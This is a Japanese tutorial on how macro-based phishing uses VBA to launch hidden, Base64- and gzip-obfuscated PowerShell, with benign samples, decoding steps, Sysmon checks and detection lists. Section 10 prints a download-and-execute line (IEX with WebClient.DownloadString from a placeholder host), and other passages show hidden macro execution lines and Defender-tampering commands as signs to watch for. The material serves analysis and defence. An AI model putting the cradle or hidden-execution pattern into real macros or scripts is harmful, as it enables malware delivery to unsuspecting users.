VBAマクロ型フィッシングとPowerShell難読化を安全に理解する
要旨
ExcelやWordのマクロを悪用したフィッシングでは、文書内で「マクロを有効化してください」と誘導し、ユーザー操作をきっかけにVBAからPowerShellを起動する手口が使われることがあります。
このとき、PowerShellのコードはそのまま書かれるとは限りません。Base64、文字列分割、gzip圧縮などを使って隠され、VBA上ではただの長い文字列に見えることがあります。解析者は、表示されているマクロだけで判断せず、実行される文字列を復元し、PowerShellのエンコード層を順番に剥がす必要があります。
この記事では、外部通信やダウンロードを行わない安全なサンプルを使い、次の点を整理します。
- VBAマクロからPowerShellが呼び出される基本構造
-EncodedCommandの意味- PowerShellコードをBase64化する流れ
- gzip Base64のような追加難読化の考え方
- 解析者として逆順にデコードする手順
- 外部通信を開始しようとしているPowerShellコードの見極め方
- SysmonやPowerShellログで確認する観点
この記事のコードサンプルは学習用です。外部通信、ファイルダウンロード、認証情報取得、永続化、セキュリティ設定変更は行いません。
この記事で扱う範囲
この記事の目的は、マクロ型フィッシングの構造を理解し、防御・解析・教育に役立てることです。
扱うこと:
- 安全なPowerShellサンプルのエンコード
- 実行しないVBAサンプル
- Base64とgzipの復元手順
- 不審なPowerShellコマンドの読み方
- ログ確認の観点
扱わないこと:
- 実在する攻撃コード
- 実在するC2ドメインやURL
- 外部通信を行う実行可能なマクロ
- ダウンロードや追加ペイロード実行の手順
- 検知回避や防御機能の無効化
1. マクロ型フィッシングの基本構造
マクロ型フィッシングの典型的な流れは次の通りです。
- ユーザーがExcelまたはWordファイルを開く
- 文書内で「コンテンツの有効化」「マクロの有効化」を促される
- VBAマクロが実行される
- VBAがPowerShellなどの外部プロセスを起動する
- PowerShellが難読化されたコードを復元する
- 復元されたコードが通信、追加処理、情報収集などを試みる
利用者から見ると、文書が一瞬止まるだけ、あるいは何も起きていないように見えることがあります。しかし裏側では、OfficeプロセスからPowerShellが起動されている可能性があります。
技術者がまず見るべきなのは、VBAがどのプロセスを起動しようとしているかです。次のような文字列やAPIが出てくる場合は注意します。
CreateObject("WScript.Shell")
WScript.Shell.Run
Shell
powershell.exe
cmd.exe
mshta.exe
wscript.exe
cscript.exe
rundll32.exe
regsvr32.exe
特に、OfficeプロセスからPowerShellを起動し、さらに -EncodedCommand や -WindowStyle Hidden が組み合わさる場合は、優先的に確認すべきシグナルです。
2. なぜVBAからPowerShellを呼び出すのか
VBAはOffice文書内で動きます。一方、PowerShellはWindows環境の管理や自動化に使われる強力なシェルです。
攻撃者は、VBAを最初の起動装置として使い、実際の処理をPowerShellに任せることがあります。VBA側では長い文字列を組み立て、最後にそれを実行する形がよく見られます。
概念的には次のような形です。
powershell.exe -NoProfile -EncodedCommand <Base64文字列>
ここで重要なのは、<Base64文字列> の中にPowerShellスクリプトが隠されている点です。
PowerShellの -EncodedCommand は、防御側から見れば解析対象の入口です。VBA上でURLやドメインが見えなくても、Base64を復元した先に通信処理が含まれていることがあります。
3. PowerShell起動オプションの読み方
不審なマクロを読むときは、PowerShellの起動オプションを先に理解しておくと判断しやすくなります。
| オプション | 意味 | 解析時の見方 |
|---|---|---|
-NoProfile / -nop | PowerShellプロファイルを読み込まない | 環境差を減らして実行したい意図 |
-WindowStyle Hidden / -w hidden | ウィンドウを非表示にする | 利用者に気付かれにくくする意図 |
-EncodedCommand / -enc / -e | Base64化されたコマンドを実行する | 難読化されたPowerShellがある |
-ExecutionPolicy Bypass | 実行ポリシーを回避する | 組織の制御を避けたい意図が疑われる |
-NonInteractive | 対話なしで実行する | バックグラウンド実行向け |
たとえば次のような起動形は、マクロ型フィッシングでよく警戒される組み合わせです。
powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ...
短縮形では次のように見えることもあります。
powershell -nop -w hidden -e ...
ここで -e は -EncodedCommand の省略形として使われることがあります。後続の文字列をBase64として確認します。
4. 安全なPowerShellサンプル
以降では、外部通信を行わない安全なPowerShellコードを使います。
このサンプルは、ユーザーの一時フォルダに学習用のテキストファイルを作るだけです。
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
このコードは、次のような動作をしません。
- 外部サイトへの通信
- ファイルのダウンロード
- 追加スクリプトの実行
- 認証情報の取得
- 永続化
- セキュリティ設定の変更
学習や研修では、このような無害な処理に置き換えて構造だけを理解するのが安全です。
5. PowerShellコードをBase64化する
PowerShellの -EncodedCommand に渡す文字列は、通常、PowerShellスクリプトをUTF-16LEのバイト列に変換し、それをBase64化したものです。
安全なサンプルをBase64化する例は次の通りです。
$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
$encoded
重要なのは次の行です。
[System.Text.Encoding]::Unicode.GetBytes($script)
PowerShellにおける Unicode は、ここではUTF-16LEを意味します。そのため、解析時もBase64をデコードした後、UTF-16LEとして読む必要があります。
Base64化された文字列は、次のようなコマンドに組み込まれます。
powershell.exe -NoProfile -EncodedCommand <Base64文字列>
この時点では、文字列を見ただけでは中のPowerShellコードが何をするか分かりません。
5.1. このサンプルのBase64文字列
前節の安全なPowerShellサンプルをUTF-16LEとしてBase64化すると、次の文字列になります。
JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==
これをコマンドラインに入れると、構造としては次のようになります。
powershell.exe -NoProfile -EncodedCommand JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==
このコマンドも学習用であり、実行しても一時フォルダにテキストファイルを作るだけです。ただし、未知の検体では同じ形のコマンドを絶対に直接実行せず、先にデコードして内容を確認します。
5.2. 標準コマンドで再現する
macOS/Linuxでは、printf、iconv、base64 を使って同じBase64文字列を作れます。
printf '%s\n' \
'$Message = "training-only macro analysis sample"' \
'$Path = Join-Path $env:TEMP "macro-training-sample.txt"' \
'Set-Content -Path $Path -Value $Message -Encoding UTF8' \
'Write-Output "Wrote training marker to $Path"' \
| iconv -f UTF-8 -t UTF-16LE \
| base64 \
| tr -d '\n'
ポイントは、PowerShellの -EncodedCommand に合わせてUTF-16LEへ変換してからBase64化することです。
Windows PowerShellだけで同じ処理を行う場合は、次のようにします。
$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script))
6. VBAマクロに埋め込む安全な例
実際の悪性マクロでは、VBAがPowerShellを実行します。しかし研修や記事では、実行可能な形にする必要はありません。
次の例は、PowerShellコマンドを組み立てて表示するだけです。実行はしません。
Sub Training_Macro_Does_Not_Execute()
Dim encoded As String
Dim cmd As String
' 学習用。前節のBase64文字列を分割して入れる。
encoded = ""
encoded = encoded & "JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQ"
encoded = encoded & "B0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAi"
encoded = encoded & "AAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAF"
encoded = encoded & "UAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA=="
cmd = "powershell.exe -NoProfile -EncodedCommand " & encoded
' 安全のため実行せず、内容を表示するだけ。
MsgBox cmd
End Sub
悪性マクロでは、最後が次のような実行行に置き換わっていることがあります。
CreateObject("WScript.Shell").Run cmd
または次のような形です。
Shell cmd, vbHide
解析者は、このような行を見つけたら「どの変数が実行されるのか」を追います。上の例であれば、調べるべき対象は cmd です。
7. マクロを有効化すると何が起きるか
ユーザーがマクロを有効化すると、VBAコードが実行されます。悪性文書の場合、裏側で次のような処理が進むことがあります。
- VBAが分割された文字列を連結する
powershell.exeを含むコマンドラインを作るWScript.Shell.RunやShellでPowerShellを起動する-EncodedCommandのBase64がPowerShell側で復元される- 復元されたPowerShellがさらに別のBase64や圧縮データを展開する
- 最終段階で外部通信や追加処理が行われる
ここで注意したいのは、VBA上で見える文字列が最終的な処理内容とは限らないことです。
表面上のVBAは単なるラッパーであり、実際に確認すべきコードは、Base64を復元した先や、さらに圧縮を展開した先にあることがあります。
8. 順番に難読化する手順
ここでは、攻撃者が使う代表的な隠し方を、安全なサンプルで順番に確認します。
8.1. 平文のPowerShellを書く
まず、外部通信をしない安全なPowerShellコードを用意します。
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
8.2. UTF-16LEとしてBase64化する
$script = @'
$Message = "training-only macro analysis sample"
$Path = Join-Path $env:TEMP "macro-training-sample.txt"
Set-Content -Path $Path -Value $Message -Encoding UTF8
Write-Output "Wrote training marker to $Path"
'@
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
8.3. PowerShell起動コマンドに入れる
powershell.exe -NoProfile -EncodedCommand <Base64文字列>
8.4. VBAで文字列を分割する
VBAでは、長いBase64文字列を分割して連結することがあります。
encoded = encoded & "<Base64 part 1>"
encoded = encoded & "<Base64 part 2>"
encoded = encoded & "<Base64 part 3>"
この分割により、単純な目視や文字列検索では中身を把握しにくくなります。
8.5. gzip圧縮を追加する
より複雑なケースでは、内側のテキストをgzip圧縮し、その圧縮バイト列をBase64化することがあります。
安全なテキストをgzip Base64にする例です。
$text = @'
This is a training-only inner payload.
No network access.
No download.
No execution.
'@
$inputBytes = [System.Text.Encoding]::UTF8.GetBytes($text)
$ms = New-Object System.IO.MemoryStream
$gzip = New-Object System.IO.Compression.GZipStream(
$ms,
[System.IO.Compression.CompressionMode]::Compress
)
$gzip.Write($inputBytes, 0, $inputBytes.Length)
$gzip.Close()
$gzipBase64 = [Convert]::ToBase64String($ms.ToArray())
$gzipBase64
このようにして作られた文字列は、Base64を戻しただけでは読めません。Base64デコード後にgzip展開が必要です。
このサンプルテキストを gzip -n 相当で圧縮し、Base64化した例は次の通りです。
H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA
macOS/Linuxの標準コマンドで同じ文字列を作るには、次のようにします。
printf '%s\n' \
'This is a training-only inner payload.' \
'No network access.' \
'No download.' \
'No execution.' \
| gzip -n -c \
| base64 \
| tr -d '\n'
gzip -n は、元ファイル名や時刻情報をgzipヘッダに入れないための指定です。gzipヘッダのメタデータが違うとBase64文字列は変わりますが、展開後の本文が同じであれば解析上の意味は同じです。
9. 解析者として逆順にデコードする
ここからは、解析者の立場で難読化を剥がす手順を見ます。
9.1. VBA内の実行対象を特定する
まず、VBA内で実行に使われる変数を探します。
cmd = "powershell.exe ..."
CreateObject("WScript.Shell").Run cmd
この場合、cmd の中身が実行対象です。
別の変数名が使われることもあります。重要なのは、最後に Run や Shell に渡される値を追うことです。
9.2. 分割された文字列を連結する
次のような連結処理があれば、順番通りに復元します。
encoded = encoded & "AAAA"
encoded = encoded & "BBBB"
encoded = encoded & "CCCC"
復元後は次のようになります。
AAAABBBBCCCC
VBAの文字列連結では、& や + が使われます。行継続文字 _ が使われる場合もあります。
9.3. -EncodedCommand の後ろを取り出す
復元したコマンドが次のように始まる場合、-EncodedCommand の後ろにある文字列を取り出します。
powershell.exe -NoProfile -EncodedCommand <Base64文字列>
短縮形も確認します。
powershell -nop -w hidden -e <Base64文字列>
-e、-enc、-EncodedCommand は、後続にBase64化されたPowerShellがあることを示します。
9.4. Base64をUTF-16LEとしてデコードする
安全な解析用コードです。
$encoded = "<ここにBase64文字列を入れる>"
$bytes = [Convert]::FromBase64String($encoded)
$decoded = [System.Text.Encoding]::Unicode.GetString($bytes)
$decoded
文字化けする場合は、エンコーディングの違いや、Base64文字列の切り出しミスを疑います。
PowerShellの -EncodedCommand であれば、まずUTF-16LEとして読むのが基本です。
macOSでコマンドラインから復元する場合は、base64 -D と iconv を使います。
printf '%s' 'JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==' \
| base64 -D \
| iconv -f UTF-16LE -t UTF-8
Linuxでは base64 -d を使う環境が一般的です。
printf '%s' 'JABNAGUAcwBzAGEAZwBlACAAPQAgACIAdAByAGEAaQBuAGkAbgBnAC0AbwBuAGwAeQAgAG0AYQBjAHIAbwAgAGEAbgBhAGwAeQBzAGkAcwAgAHMAYQBtAHAAbABlACIACgAkAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACIAbQBhAGMAcgBvAC0AdAByAGEAaQBuAGkAbgBnAC0AcwBhAG0AcABsAGUALgB0AHgAdAAiAAoAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAE0AZQBzAHMAYQBnAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAVwByAG8AdABlACAAdAByAGEAaQBuAGkAbgBnACAAbQBhAHIAawBlAHIAIAB0AG8AIAAkAFAAYQB0AGgAIgAKAA==' \
| base64 -d \
| iconv -f UTF-16LE -t UTF-8
復元結果は、冒頭で示した安全なPowerShellサンプルになります。
9.5. 復元コード内の追加難読化を探す
復元されたPowerShellの中で、次のような文字列を探します。
FromBase64String
GZipStream
DeflateStream
MemoryStream
ReadToEnd
Invoke-Expression
IEX
DownloadString
Invoke-WebRequest
Invoke-RestMethod
たとえば次の構造があれば、もう一段階の埋め込みデータがある可能性があります。
[Convert]::FromBase64String("<long string>")
さらに次のような名前が出てくる場合、そのBase64は圧縮データかもしれません。
System.IO.Compression.GZipStream
CompressionMode]::Decompress
9.6. gzip Base64を展開する
gzip Base64を安全に展開するサンプルです。
$gzipBase64 = "<ここにgzipされたBase64文字列を入れる>"
$compressedBytes = [Convert]::FromBase64String($gzipBase64)
$inputStream = New-Object System.IO.MemoryStream(,$compressedBytes)
$gzipStream = New-Object System.IO.Compression.GZipStream(
$inputStream,
[System.IO.Compression.CompressionMode]::Decompress
)
$reader = New-Object System.IO.StreamReader($gzipStream)
$plainText = $reader.ReadToEnd()
$plainText
ここまでで、内側に隠されていたテキストが読めるようになります。外部通信先、パス、User-Agent、API名、プロセス名などは、この段階で見つかることがあります。
前節のgzip Base64サンプルをmacOSで展開する場合は、次の通りです。
printf '%s' 'H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA' \
| base64 -D \
| gzip -dc
Linuxでは次のようにします。
printf '%s' 'H4sIAAAAAAAAAwvJyCxWAKJEhZKixMy8zLx03fy8nEqFzLy81CKFgsTKnPzEFD0uv3yFvNSS8vyibIXE5OTU4mKwUEp+eR5cPrUiNbm0JDM/T48LAFJN2nxVAAAA' \
| base64 -d \
| gzip -dc
復元される内容は次の通りです。
This is a training-only inner payload.
No network access.
No download.
No execution.
10. 外部通信を始めるコードを見極める
復元したPowerShellの中で、次のような要素が出てきたら外部通信の可能性を確認します。
10.1. URLやドメイン
https://example.invalid/path
api.example.invalid
cdn.example.invalid
学習や検証では、実在する第三者ドメインではなく、example.invalid や test.invalid のような安全な例示用ドメインを使います。
10.2. Invoke-WebRequest
Invoke-WebRequest -Uri "https://example.invalid/ping"
HTTP/HTTPS通信を行うPowerShell標準コマンドレットです。ファイル取得、疎通確認、外部送信などに使われることがあります。
10.3. Invoke-RestMethod
Invoke-RestMethod -Uri "https://example.invalid/api"
API通信に使われます。JSONを扱う処理と一緒に出てくることがあります。
10.4. WebClient
$wc = New-Object System.Net.WebClient
$wc.DownloadString("https://example.invalid/stage.txt")
DownloadString は、指定URLから文字列を取得します。悪性コードでは、追加スクリプト取得に使われることがあります。
特に次のような形は危険度が高い読み方になります。
IEX (New-Object Net.WebClient).DownloadString("https://example.invalid/a.ps1")
これは「URLから取得した文字列をPowerShellコードとして実行する」という意味です。
10.5. HttpClient
$client = [System.Net.Http.HttpClient]::new()
$client.GetAsync("https://example.invalid/")
.NETのHTTPクライアントを直接使う例です。PowerShellの通信コマンドレットではなく.NET APIを使うことで、単純な文字列検索から逃れようとするケースもあります。
11. 通信以外にも見るべき危険サイン
PowerShell解析では、通信だけを見ればよいわけではありません。次のような文字列やAPIも確認します。
| 文字列・API | 意味 |
|---|---|
Start-Process | 別プロセスの起動 |
New-Object WScript.Shell | Windows Script Host経由の操作 |
schtasks | タスクスケジューラ操作 |
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run | ログオン時自動実行の設定箇所 |
Add-MpPreference | Microsoft Defender除外設定の変更 |
Set-MpPreference | Microsoft Defender設定変更 |
rundll32 | DLL実行 |
regsvr32 | COM登録やスクリプトレット実行 |
bitsadmin | BITS経由の転送 |
certutil -decode | Base64デコードやファイル処理 |
IEX / Invoke-Expression | 文字列をコードとして実行 |
これらは管理作業でも使われることがあります。単語が出てきたから即悪性とは限りません。
ただし、OfficeプロセスからPowerShellが起動され、非表示実行、Base64、通信、文字列実行が組み合わさる場合は、優先度を上げて確認します。
12. ログで確認する観点
静的解析で「このような処理をしそうだ」と分かっても、実際に何が起きたかはログで確認します。
代表的な確認ポイントは次の通りです。
| ログ | 見る内容 |
|---|---|
| Sysmon Event ID 1 | プロセス作成 |
| Sysmon Event ID 3 | ネットワーク接続 |
| Sysmon Event ID 11 | ファイル作成 |
| Sysmon Event ID 22 | DNSクエリ |
| PowerShell Operational Log | PowerShell実行内容 |
| Script Block Logging | 復元後のスクリプト内容 |
OfficeからPowerShellが起動された場合、Sysmon Event ID 1で次のような親子関係が見えることがあります。
ParentImage: EXCEL.EXE
Image: powershell.exe
CommandLine: powershell.exe -NoProfile -EncodedCommand ...
DNS通信があれば、Sysmon Event ID 22で問い合わせ先のドメインを確認できる場合があります。
Image: powershell.exe
QueryName: example.invalid
静的解析で見つけたURLやドメインと、実行時ログのDNS・通信イベントを突き合わせることで、単なる埋め込み文字列なのか、実際に使われた通信先なのかを判断しやすくなります。
13. 解析チェックリスト
VBAマクロ型の不審文書を解析する際は、次の順番で確認します。
- VBAコード全体を抽出する
Shell、WScript.Shell、CreateObjectを探す- 実行される文字列変数を特定する
- 分割された文字列を順番に連結する
powershell.exe、cmd.exe、mshta.exe、wscript.exeの呼び出しを確認する-EncodedCommand、-e、-encを探す- Base64をUTF-16LEとしてデコードする
- 復元コード内の
FromBase64StringやGZipStreamを探す - 必要に応じてBase64デコード・gzip展開を行う
- URL、ドメイン、IPアドレス、User-Agent、API文字列を抽出する
Invoke-WebRequest、DownloadString、HttpClientなどの通信処理を確認する- SysmonやPowerShellログと照合する
作業時は、解析対象を直接実行しないことが前提です。実行検証が必要な場合は、隔離された解析環境、スナップショット、通信制御、ログ取得設定を用意します。
14. 防御側の検知ポイント
組織内で検知ルールを作る場合、次の組み合わせは重要です。
Officeプロセス
-> powershell.exe
-> -EncodedCommand
代表的な親子関係です。
WINWORD.EXE -> powershell.exe
EXCEL.EXE -> powershell.exe
POWERPNT.EXE -> powershell.exe
OUTLOOK.EXE -> powershell.exe
さらに、PowerShellのコマンドラインに次の要素が含まれていれば、調査優先度を上げます。
-EncodedCommand
-WindowStyle Hidden
-ExecutionPolicy Bypass
FromBase64String
GZipStream
DownloadString
Invoke-WebRequest
Invoke-RestMethod
IEX
単独では正当な管理作業でも使われる可能性があります。しかし、Officeプロセスから起動され、非表示実行やエンコード実行が組み合わさる場合は、マクロ型フィッシングの疑いが強くなります。
15. 利用者向けの注意喚起
技術的な検知だけでなく、利用者教育も重要です。
利用者には、次の点を伝えます。
- メール添付のOffice文書でマクロ有効化を求められたら警戒する
- 「請求書」「配送通知」「賞与」「緊急対応」など、焦らせる文言に注意する
- 送信元が知っている相手でも、文面や添付ファイルに違和感があれば確認する
- マクロ有効化が業務上本当に必要か確認する
- 不審な文書を開いた場合は、自己判断で削除せず管理者やSOCに連絡する
利用者に伝えるべき核心は、「マクロを有効化することは、文書に含まれるプログラムを実行すること」だという点です。
まとめ
VBAマクロ型フィッシングでは、VBA上に明確なURLやドメインが見えないことがあります。PowerShellの -EncodedCommand、Base64、gzip圧縮などにより、実際の処理内容が複数の層に隠されるためです。
解析では、見えているVBAだけで判断せず、次の順番で層を剥がします。
VBA
-> PowerShell起動コマンド
-> EncodedCommandのBase64
-> UTF-16LE PowerShell
-> 内側のBase64
-> gzip展開
-> URL・ドメイン・通信処理の確認
防御側は、OfficeからPowerShellが起動される親子関係、-EncodedCommand、非表示実行、外部通信系コマンドの組み合わせを重点的に監視します。
利用者教育では、「マクロ有効化は文書閲覧ではなくコード実行である」と伝えることが出発点です。技術的な検知と利用者教育を組み合わせることで、マクロ型フィッシングの被害を早期に抑えやすくなります。